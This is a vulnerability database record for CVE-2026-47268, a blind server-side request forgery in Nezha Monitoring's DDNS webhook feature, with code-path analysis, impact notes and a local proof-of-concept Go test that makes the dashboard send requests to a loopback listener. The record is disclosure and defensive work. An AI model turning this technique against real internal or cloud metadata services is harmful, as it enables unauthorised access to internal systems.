{"id":"CVE-2026-47268","aliases":["CVE-2026-47268","GHSA-6x26-5727-rrm9","GO-2026-5194"],"related":[],"kind":"vulnerability","state":"published","title":"Nezha Monitoring: Authenticated DDNS webhook configuration allows blind SSRF from the dashboard host","summary":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 0.20.0 to before version 2.0.10, an authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks. This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive. This issue has been patched in version 2.0.10.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 0.20.0 to before version 2.0.10, an authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks. This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive. This issue has been patched in version 2.0.10.","source":"cvelist"},{"lang":"en","text":"#### Summary\n\nAn authenticated Nezha dashboard user can create or update a DDNS profile with provider `webhook` and configure an arbitrary `webhook_url`, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with `utils.HttpClient` without the SSRF protections used by notification webhooks.\n\nThis allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.\n\n#### Details\n\nThe DDNS API is available to authenticated users, not only administrators:\n\n- `cmd/dashboard/controller/controller.go:137` registers `GET /api/v1/ddns`.\n- `cmd/dashboard/controller/controller.go:139` registers `POST /api/v1/ddns`.\n- `cmd/dashboard/controller/controller.go:140` registers `PATCH /api/v1/ddns/:id`.\n\nThe create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into `model.DDNSProfile`:\n\n- `cmd/dashboard/controller/ddns.go:47-74` accepts `model.DDNSForm` and stores `WebhookURL`, `WebhookMethod`, `WebhookRequestType`, `WebhookRequestBody`, and `WebhookHeaders`.\n- `cmd/dashboard/controller/ddns.go:112-145` updates the same fields after profile ownership is checked.\n- `model/ddns_api.go:11-15` exposes these fields as JSON input.\n- `model/ddns.go:28-33` stores these fields on the persisted profile.\n\nUsers can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:\n\n- `cmd/dashboard/controller/server.go:63-83` checks DDNS profile ownership, then stores `EnableDDNS`, `DDNSProfiles`, and `OverrideDDNSDomains` on an owned server.\n- `service/singleton/server.go:44-58` calls `UpdateDDNS` when a server with DDNS enabled is updated.\n- `service/rpc/nezha.go:247-279` calls `UpdateDDNS` when an authenticated agent reports a changed IP.\n\nThe DDNS provider dispatcher instantiates the webhook provider when `Provider == \"webhook\"`:\n\n- `service/singleton/ddns.go:58-95`, especially `service/singleton/ddns.go:79-81`.\n\nThe sink is the DDNS webhook provider:\n\n- `pkg/ddns/webhook/webhook.go:49-65` prepares and sends the HTTP request with `utils.HttpClient.Do(req)`.\n- `pkg/ddns/webhook/webhook.go:85-100` formats and applies attacker-controlled headers.\n- `pkg/ddns/webhook/webhook.go:91-92` creates the request with the configured method and URL.\n- `pkg/ddns/webhook/webhook.go:117-134` parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.\n- `pkg/ddns/webhook/webhook.go:137-158` builds attacker-controlled request bodies for POST/PATCH/PUT.\n\nThe project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:\n\n- `model/notification.go:34-58` defines blocked private/reserved CIDRs.\n- `model/notification.go:193-221` creates a notification HTTP client that resolves and pins a validated IP and disables redirects.\n- `model/notification.go:229-263` only allows `http`/`https`, requires a hostname, resolves all addresses, and rejects disallowed IPs.\n- `model/notification.go:265-276` rejects blocked ranges and non-global-unicast targets.\n\nEquivalent validation was not found in `pkg/ddns/webhook/webhook.go`.\n\n#### Safe local PoC\n\nEnvironment:\n\n- Repository: `https://github.com/nezhahq/nezha.git`\n- Commit tested: `05e5da2535197fc223b79601d50eeea362dcf853`\n- Tag at commit: `v2.0.9`\n- Module: `github.com/nezhahq/nezha`\n- Go version: `go1.26.3 linux/amd64`\n- Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.\n\nA temporary same-package test was created and removed automatically after execution. It used a local `httptest` listener as the internal service and a local UDP DNS server that returned an SOA for `example.com.`. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.\n\nCommand run:\n\n```bash\ntmp=\"pkg/ddns/ddns_ssrf_local_poc_test.go\"; trap 'rm -f \"$tmp\"' EXIT; cat > \"$tmp\" <<'EOF'\npackage ddns\n\nimport (\n    \"context\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"testing\"\n\n    \"github.com/miekg/dns\"\n    \"github.com/nezhahq/nezha/model\"\n    \"github.com/nezhahq/nezha/pkg/ddns/webhook\"\n)\n\nfunc TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {\n    hit := make(chan string, 1)\n    httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        body, _ := io.ReadAll(r.Body)\n        hit <- r.Method + \" \" + r.URL.Path + \" \" + r.Header.Get(\"X-Proof\") + \" \" + string(body)\n        w.WriteHeader(http.StatusNoContent)\n    }))\n    defer httpSrv.Close()\n\n    dnsPacketConn, err := net.ListenPacket(\"udp\", \"127.0.0.1:0\")\n    if err != nil {\n        t.Fatal(err)\n    }\n    dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {\n        msg := new(dns.Msg)\n        msg.SetReply(r)\n        if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {\n            msg.Answer = append(msg.Answer, &dns.SOA{\n                Hdr:     dns.RR_Header{Name: \"example.com.\", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},\n                Ns:      \"ns.example.com.\",\n                Mbox:    \"hostmaster.example.com.\",\n                Serial:  1,\n                Refresh: 60,\n                Retry:   60,\n                Expire:  60,\n                Minttl:  60,\n            })\n        }\n        _ = w.WriteMsg(msg)\n    })}\n    go func() { _ = dnsSrv.ActivateAndServe() }()\n    defer dnsSrv.Shutdown()\n\n    enableIPv4 := true\n    enableIPv6 := false\n    profile := &model.DDNSProfile{\n        EnableIPv4:         &enableIPv4,\n        EnableIPv6:         &enableIPv6,\n        MaxRetries:         1,\n        Domains:            []string{\"host.example.com\"},\n        Provider:           model.ProviderWebHook,\n        WebhookURL:         httpSrv.URL + \"/internal\",\n        WebhookMethod:      2,\n        WebhookRequestType: 1,\n        WebhookRequestBody: `{\"ip\":\"#ip#\",\"domain\":\"#domain#\",\"type\":\"#type#\"}`,\n        WebhookHeaders:     `{\"X-Proof\":\"nezha-ddns-pipeline-ssrf\"}`,\n    }\n    provider := &Provider{\n        DDNSProfile: profile,\n        IPAddrs:     &model.IP{IPv4Addr: \"203.0.113.10\"},\n        Setter:      &webhook.Provider{DDNSProfile: profile},\n    }\n\n    ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})\n    if err := provider.updateDomain(ctx, \"host.example.com\"); err != nil {\n        t.Fatalf(\"updateDomain returned error: %v\", err)\n    }\n\n    select {\n    case got := <-hit:\n        t.Logf(\"observed loopback request through DDNS update pipeline: %s\", got)\n    default:\n        t.Fatalf(\"expected loopback listener to receive DDNS webhook request\")\n    }\n}\nEOF\ngo test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v\n```\n\nObserved output:\n\n```text\n=== RUN   TestLocalPoCDDNSUpdatePipelineReachesLoopback\n    ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {\"ip\":\"203.0.113.10\",\"domain\":\"host.example.com\",\"type\":\"ipv4\"}\n--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)\nPASS\nok  \tgithub.com/nezhahq/nezha/pkg/ddns\t0.009s\n```\n\nA lower-level provider-only confirmation was also run with `go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v` and observed:\n\n```text\nobserved loopback request: POST /internal nezha-ddns-ssrf {\"ip\":\"203.0.113.10\",\"domain\":\"host.example.com\",\"type\":\"ipv4\"}\n```\n\nCleanup:\n\n- Both temporary PoC test files were removed by shell `trap`.\n- `find . -path './.git' -prune -o \\( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \\) -print` returned no files.\n\n#### Impact\n\nAn authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.\n\nPotential impacts depend on deployment and reachable internal services, but include:\n\n- Blind probing of internal HTTP services from the dashboard network location.\n- Triggering state-changing internal endpoints that trust localhost or private network origins.\n- Reaching services not exposed to the attacker directly.\n- Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.\n\nThe response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host in github.com/nezhahq/nezha in github.com/naiba/nezha.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/naiba/nezha before v2.0.10.","format":"markdown","source":"go"},{"lang":"es","text":"Nezha Monitoring es una herramienta autoalojable, ligera, de monitoreo de servidores y sitios web y O&M. Desde la versión 0.20.0 hasta antes de la versión 2.0.10, un usuario autenticado del panel de control de Nezha puede crear o actualizar un perfil DDNS con webhook de proveedor y configurar una webhook_url, método HTTP, cuerpo de la solicitud y encabezados arbitrarios. Cuando se activa el DDNS para un servidor que usa ese perfil, el proceso del panel de control envía la solicitud configurada con utils.HttpClient sin las protecciones SSRF utilizadas por los webhooks de notificación. Esto permite a un usuario autenticado con pocos privilegios que controla un servidor/perfil DDNS propio hacer que el host del panel de control emita solicitudes HTTP a servicios de loopback o de red interna. El cuerpo de la respuesta no se devuelve al atacante en la ruta confirmada, por lo que esto es un SSRF ciego / primitiva de solicitud de cambio de estado interno. Este problema ha sido parcheado en la versión 2.0.10.","source":"nvd"}],"published":"2026-05-29T22:10:12.000Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":6.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":6.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":6.4,"rating":"MEDIUM"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":">= 0.20.0, < 2.0.10","status":"affected"}],"vendor":"nezhahq","product":"nezha","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.20.0","status":"affected","fixed":"2.0.10"}],"ecosystem":"Go","package":"github.com/nezhahq/nezha","purl":"pkg:golang/github.com/nezhahq/nezha","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.20.0","status":"affected"}],"ecosystem":"Go","package":"github.com/naiba/nezha","purl":"pkg:golang/github.com/naiba/nezha","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.20.0","status":"affected"}],"ecosystem":"Go","package":"github.com/naiba/nezha","purl":"pkg:golang/github.com/naiba/nezha","source":"go"}],"references":[{"url":"https://github.com/nezhahq/nezha/security/advisories/GHSA-6x26-5727-rrm9","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47268","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nezhahq/nezha","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-15T12:57:46.041Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47268","url":"https://www.cve.org/CVERecord?id=CVE-2026-47268","licence":"CVE Terms of Use","modified":"2026-06-15T12:58:14.279Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6x26-5727-rrm9","url":"https://github.com/advisories/GHSA-6x26-5727-rrm9","licence":"CC-BY-4.0","modified":"2026-06-26T21:45:24.298Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5194","url":"https://pkg.go.dev/vuln/GO-2026-5194","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:13.841Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47268","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:24.587Z","epss":{"score":0.00219,"percentile":0.13191,"date":"2026-12-01T12:00:22.000Z"}}